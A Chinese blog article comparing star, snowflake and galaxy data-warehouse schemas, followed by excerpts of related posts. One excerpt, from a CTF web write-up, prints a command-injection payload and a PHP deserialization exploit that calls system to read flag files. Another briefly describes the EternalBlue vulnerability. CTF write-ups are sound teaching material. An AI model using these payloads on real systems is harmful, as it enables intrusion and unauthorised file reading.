【数据仓库】数据仓库常见的数据模型——维度模型
文章部分图参考自:多维数据模型各种类型(星型、雪花、星座、交叉连接) - 知乎 (zhihu.com)
文章部分文字canla一篇文章搞懂数据仓库:四种常见数据模型(维度模型、范式模型等)-腾讯云开发者社区-腾讯云 (tencent.com)
目录
一、维度模型
(1)、星型模型(Star Schema)
(2)、雪花模型(Snowflake Schema)
(3)、星座模型(Galaxy Schema)
(4)、交叉连接
二、选择模型的考虑因素
一、维度模型
在数据仓库的设计和实施过程中,选择合适的数据模型对于优化查询性能和提升数据分析效率至关重要。星型模型、雪花模型和星座模型是3种流行的数据仓库建模方法,它们各自具有独特的结构、优势和局限性。本文将深入探讨这三种模型的特点、适用场景以及如何根据业务需求进行选择。
维度建模四个步骤:
选择业务处理过程 > 定义粒度 > 选择维度 > 确定事实
(1)、星型模型(Star Schema)
星型模型是一种简单直观的数据模型。其主要目的是优化查询性能,使数据分析更加高效。星型模型的设计思路源自于对多维数据模型的需求,即通过简化数据结构来支持快速的查询操作。
1、结构:
星型模型由一个中心的事实表(Fact Table)和多个维度表(Dimension Tables)构成。中心事实表包含与业务过程相关的事实指标,维度表则描述了这些事实的上下文信息。事实表包含了可度量的数据,如销售额或利润,而维度表则包含了描述这些数据的属性,如时间、地点或产品类型。事实表与维度表之间通过外键连接,形成一个类似星形的结构。
2、优缺点:
优点:
- 易于理解和查询:星型模型的结构简单明了,易于理解和查询,适用于简单的分析需求。
- 性能较高:星型模型具有较好的查询性能,因为所有的维度信息都存储在维度表中,减少了表的连接操作,查询优化相对容易,能快速处理大量数据。
缺点:
- 数据冗余:维度表可能存在数据冗余,也可能导致数据不一致性,也增加了存储空间的消耗。
- 维护难度大:灵活性有限,星型模型对于新增维度的处理相对困难,需要进行表结构的修改。
(2)、雪花模型(Snowflake Schema)
雪花模型是在星型模型的基础上进行了维度表的规范化,将维度表进一步分解为多个层次的规范化表。它的目的是通过数据规范化来减少冗余,并提升存储效率。雪花模型的名字源于其表结构的层次化外观,类似雪花的形状。
1.结构:
在雪花模型中,维度表被进一步分解成多个子表,形成一个层次结构。这种规范化使得维度数据被拆分到更细粒度的表中,从而减少数据冗余。例如,产品维度表可能会被拆分成产品类别和产品子类别表。
事实表:订单事实表(与星型模型相同)
维度表:日期维度表(与星型模型相同)
维度表:客户维度表(与星型模型相同)维度表:产品维度表
产品ID | 产品名称 | 类别 |··
规范化表:产品类别表
类别ID | 类别名称 | 父类别ID |··
2.优缺点:
优点:
- 减少冗余数据:雪花模型通过规范化维度表,减少了数据冗余,节省了存储空间。
- 灵活性高:雪花模型支持灵活的维度层次,适用于需要频繁变更或扩展维度的场景,有助于保持数据的一致性。
缺点:
- 查询性能较差:由于表结构复杂,查询时需要进行多个连接,性能可能受影响。
- 难以理解和维护:雪花模型的结构复杂,维度表的规范化可能增加了数据模型的理解和维护的复杂性。
(3)、星座模型(Galaxy Schema)
星座模型,又称为星型集合模型(Fact Constellation Schema),是对星型模型的一种扩展。它允许多个星型模型共享维度表,因此适用于需要整合多个业务领域的数据仓库。星座模型的出现满足了更复杂数据整合的需求。
1.结构:
星座模型由多个星型模型组成,这些星型模型共享某些维度表。例如,一个数据仓库可能同时包含销售和库存的星型模型,这些模型共享时间和产品维度表,从而形成一个星座结构。
2.优缺点:
优点:
- 整合多个业务领域:适合处理复杂的业务数据,支持多角度分析。
- 提高维度表的复用性:通过共享维度表,减少了数据重复。
缺点:
- 设计复杂:涉及多个星型模型,设计和维护较为复杂。
- 查询优化难度大:由于涉及多种业务数据,查询优化和性能调优比较复杂。
(4)、交叉连接
从一张表到另一张表有多条筛选路径彼此相连接,属于交叉连接模式
二、选择模型的考虑因素
1、数据复杂性:
如果业务需求较简单,维度层次不复杂,可以选择星型模型。
如果业务需求复杂,维度层次较多,可以选择雪花模型。
2、查询性能要求:
如果对查询性能有较高的要求,可以选择星型模型。
如果对存储空间有较高的要求,可以选择雪花模型。
3、可维护性和扩展性:
如果数据模型相对稳定,变更频率较低,可以选择星型模型。
如果需要频繁变更或扩展维度,可以选择雪花模型。
相关文章:

【数据仓库】数据仓库常见的数据模型——维度模型
文章部分图参考自:多维数据模型各种类型(星型、雪花、星座、交叉连接) - 知乎 (zhihu.com) 文章部分文字canla一篇文章搞懂数据仓库:四种常见数据模型(维度模型、范式模型等)-腾讯云开发者社区-腾讯云 (ten…...

【Kubernetes】常见面试题汇总(三十)
目录 82. Worker 节点宕机,简述 Pods 驱逐流程。 特别说明: 题目 1-68 属于【Kubernetes】的常规概念题,即 “ 汇总(一)~(二十二)” 。 题目 69-113 属于【Kubernetes】的生产应用题。 8…...

【Web】PolarCTF2024秋季个人挑战赛wp
EZ_Host 一眼丁真命令注入 payload: ?host127.0.0.1;catf* 序列一下 exp: <?phpclass Polar{public $lt;public $b; } $pnew Polar(); $p->lt"system"; $p->b"tac /f*"; echo serialize($p);payload: xO:5:"Polar":2:{s:2:"…...

职业技能大赛-自动化测试笔记分享-2
一、时间等待处理 1、强制等待(无条件等待) 使用方法:time.sleep(delay) delay的单位为秒,delay设置多少秒页面就会等待多长时间,容易让线程挂掉,使程序抛异常,所以要慎用此方法。 #导入强制等待模块 import time from selenium import webdriverwd = webdriver.Chro…...

LeetCode讲解篇之1343. 大小为 K 且平均值大于等于阈值的子数组数目
文章目录 题目描述题解思路题解代码 题目描述 题解思路 题目让我们求长度为k的子数组并且该子数组的平均值大于threshold,对于这题,我们可以考虑维护一个长度为k的窗口,窗口不断向右滑动,遍历所有长度为k的子数组,我们…...

电子元件制造5G智能工厂物联数字孪生平台,推进制造业数字化转型
5G智能工厂与物联数字孪生平台的融合应用,不仅为电容器制造业注入了新的活力,更为整个制造业的数字化转型树立了新的标杆。电子元件制造过程中,数字孪生平台通过实时监测生产线的各个环节,实现了生产流程的可视化监控。管理人员可…...

【成品论文】2024年华为杯研赛E题25页高质量成品论文(后续会更新
您的点赞收藏是我继续更新的最大动力! 一定要点击如下的卡片链接,那是获取资料的入口! 点击链接加入【2024华为杯研赛资料汇总】:https://qm.qq.com/q/Mxv2XNWxUc https://qm.qq.com/q/Mxv2XNWxUc 高速公路应急车道紧急启用模型…...

【后端】【语言】【python】python常见操作
文章目录 1. List 操作2. JSON 操作3. Dict 操作 下面是分别演示 list、json、dict 操作 1. List 操作 my_list[] # List 操作示例 my_list [1, 2, 3, "apple", True]# 添加元素 my_list.append("new item") # [1, 2, 3, "apple", True, &qu…...

二叉树的链式结构和递归程序的递归流程图
二叉树的链式存储结构是指,用链表来表示一棵二叉树,即用链来指示元素的逻辑关系。 通常的方法是链表中每个结点由三个域组成,数据域和左右指针域,左右指针分别用来给出该结点左孩子和右孩子所在的链结点的存储地址 。链式结构又分…...

研究生如何利用 ChatGPT 帮助开展日常科研工作?
ChatGPT科研 一、 如何精读论文“三步提问法”1.为什么要做这个研究?这个研究是否值得我们做?2.他们怎么做这个研究3.他们发现了什么? 二、如何利用ChatGPT快速精读论文?首先,“三步走之第一步”--为什么要做这个研究&…...

【LLM学习之路】9月16日 第六天
【LLM学习之路】9月16日 第六天 损失函数 L1Loss 可以取平均也可以求和 参数解析 input (N,*) N是batchsize,星号代表可以是任意维度 不是输入的参数,只是描述数据 target 形状要同上 MSELoss平方差 CrossEntr…...

Qt_窗口界面QMainWindow的介绍
目录 1、菜单栏QMenuBar 1.1 使用QMainWindow的准备工作 1.2 在ui文件中设计窗口 1.3 在代码中设计窗口 1.4 实现点击菜单项的反馈 1.5 菜单中设置快捷键 1.6 菜单中添加子菜单 1.7 菜单项中添加分割线和图标 1.8 关于菜单栏创建方式的讨论 2、工具栏QToolBar …...

华为云centos7.9按装ambari 2.7.5 hostname 踩坑记录
华为云centos7.9按装ambari 2.7.5踩坑记录 前言升华总结 前言 一般都是废话,本人专业写bug业余运维。起初找了三台不废弃的台式机,开始重装centos系统,开始了HDP3.1.5Ambari2.7.5安装。 推荐一波好文,一路长绿。跑了一段时间没啥…...

重生之我们在ES顶端相遇第15 章 - ES 的心脏-倒排索引
文章目录 前言为什么叫倒排索引数据结构如何生成如何查询TF、IDF参考文档 前言 上一章,简单介绍了 ES 的节点类型。 本章,我们要介绍 ES 中非常重要的一个概念:倒排索引。 ES 的全文索引就是基于倒排索引实现的。 本章内容建议重点学习&…...

金刚石切削工具学习笔记分享
CVD钻石-合成单晶钻石之一 金刚石具有极高的硬度和耐磨性、较低的摩擦系数、较高的弹性模量、较高的热导率、较低的热膨胀系数、与有色金属的亲和力较小等优点,是目前最硬的工具材料,主要分为单晶金刚石和聚晶金刚石两大类。单晶金刚石又分为天然单晶金…...

【文献阅读】基于原型的自适应方法增强未见到的构音障碍者的语音识别
基于原型的自适应方法增强未见到的构音障碍者的语音识别 文献原文链接 https://www.isca-archive.org/interspeech_2024/wang24x_interspeech.pdf 引言 构音障碍是一种由神经系统疾病或肌肉异常引起的言语障碍,影响了个体清晰发音的能力。这种情况常伴随脑瘫、帕金森病和头部…...

Kafka-Go学习
文章目录 1. **安装 kafka-go**2. **基本概念**3. **kafka-go 基本用法**3.1 创建 Producer(生产者)3.2 创建 Consumer(消费者)3.3 生产者和消费者配置详解生产者配置 (kafka.WriterConfig)消费者配置 (kafka.ReaderConfig) 4. **…...

Nginx反向代理出现502 Bad Gateway问题的解决方案
🎉 前言 前一阵子写了一篇“关于解决调用百度翻译API问题”的博客,近日在调用其他API时又遇到一些棘手的问题,于是写下这篇博客作为记录。 🎉 问题描述 在代理的遇到过很多错误码,其中出现频率最高的就是502&#x…...

通信工程学习:什么是VLAN虚拟局域网
VLAN:虚拟局域网 VLAN(Virtual Local Area Network,虚拟局域网)是一种将物理局域网在逻辑上划分成多个广播域的通信技术。以下是关于VLAN的详细解释: 一、VLAN虚拟局域网的定义与概述 VLAN通过逻辑方式将网络中的设备…...

python qt5 常用
QT5中如何设置让窗口根据屏幕比例显示设置? desktop QDesktopWidget().screenGeometry() self.resize(int(desktop.width() * 0.3), int(desktop.height()*0.5)) QT5中关于背景穿透问题的处理方式? 场景如下:我们在开发的时候,…...

漏洞复现_永恒之蓝
1.概述 永恒之蓝(EternalBlue)是一个影响Windows操作系统的远程代码执行漏洞,编号为CVE-2017-0144,最初由美国国家安全局(NSA)开发并利用,后来被黑客组织Shadow Brokers泄露。该漏洞存在于SMBv…...

PyCharm的使用
PyCharm的入门使用教程 下载和安装PyCharm: 首先,访问JetBrains官方网站(https://www.jetbrains.com/pycharm/)下载PyCharm的最新版本。根据您的操作系统选择合适的版本进行下载。 安装完成后,打开PyCharm。 创建新…...

浅谈C#之AutoResetEvent和ManualResetEvent
一、基本介绍 AutoResetEvent和ManualResetEvent都是同步原语,它们用于线程之间的协调和通信。它们都是从EventWaitHandle类派生的,但它们在重置事件状态的行为上有所不同。 二、简单示例 AutoResetEvent AutoResetEvent是一个自动重置的事件。当一个线…...

【网络安全 | 靶机搭建】修改镜像源、更新软件源、安装git、更改python版本等
文章目录 0x00、必要准备0x01、修改镜像源0x02、更新软件源并清除缓存0x03、安装git0x04、更改默认Python版本为python30x05、安装增强功能0x06、vmware虚拟机导出iso0x00、必要准备 安装虚拟机时必须保存用户名、密码,用于后续操作,可以截图保存: 以下内容按个人需要进行配…...

VuePress搭建文档网站/个人博客(详细配置)主题配置
天行健,君子以自强不息;地势坤,君子以厚德载物。 每个人都有惰性,但不断学习是好好生活的根本,共勉! 文章均为学习整理笔记,分享记录为主,如有错误请指正,共同学习进步。…...

Go语言笔记
目录 一、变量声明 二、流程控制 if(条件判断) for(循环结构) Switch(简化if) goto(跳出循环) 三、运算符 1、算数运算符 2、关系运算符 3、逻辑运算符 4、位运算符 5、…...

java缓存介绍
在Java编程中,缓存技术是一种非常有效的优化手段,用于减少数据访问的延迟和提高应用性能。缓存技术通过存储数据的副本在内存中,使得后续对相同数据的请求能够直接从内存中快速获取,而不需要再次进行耗时的磁盘访问或网络请求。 缓…...

react中diff的选择性子树渲染
在React中,组件的渲染是高效的,这得益于React的虚拟DOM(Virtual DOM)和diff算法。React的diff算法主要用于比较旧虚拟DOM树和新虚拟DOM树之间的差异,并仅更新实际DOM中需要变化的部分,从而提高性能。 关于…...

Git clone远程仓库没有其他分支的问题
在使用Git克隆(Git clone)时,可能遇到分支不全的问题。有以下几种可能的原因和解决方法: 未将所有分支克隆下来:默认情况下,Git只会克隆远程仓库的主分支。如果您想要克隆其他分支,可以使用以下…...

山东潍坊戴尔存储服务器维修 md3800f raid恢复
山东戴尔存储故障维修 存储型号:DELL PowerVault md3800f 故障问题:存储除尘后通电开机,发现有物理硬盘没有插到位,用户带电拔插了多块物理盘,导致关连的磁盘阵列掉线,卷失败; 处理方式…...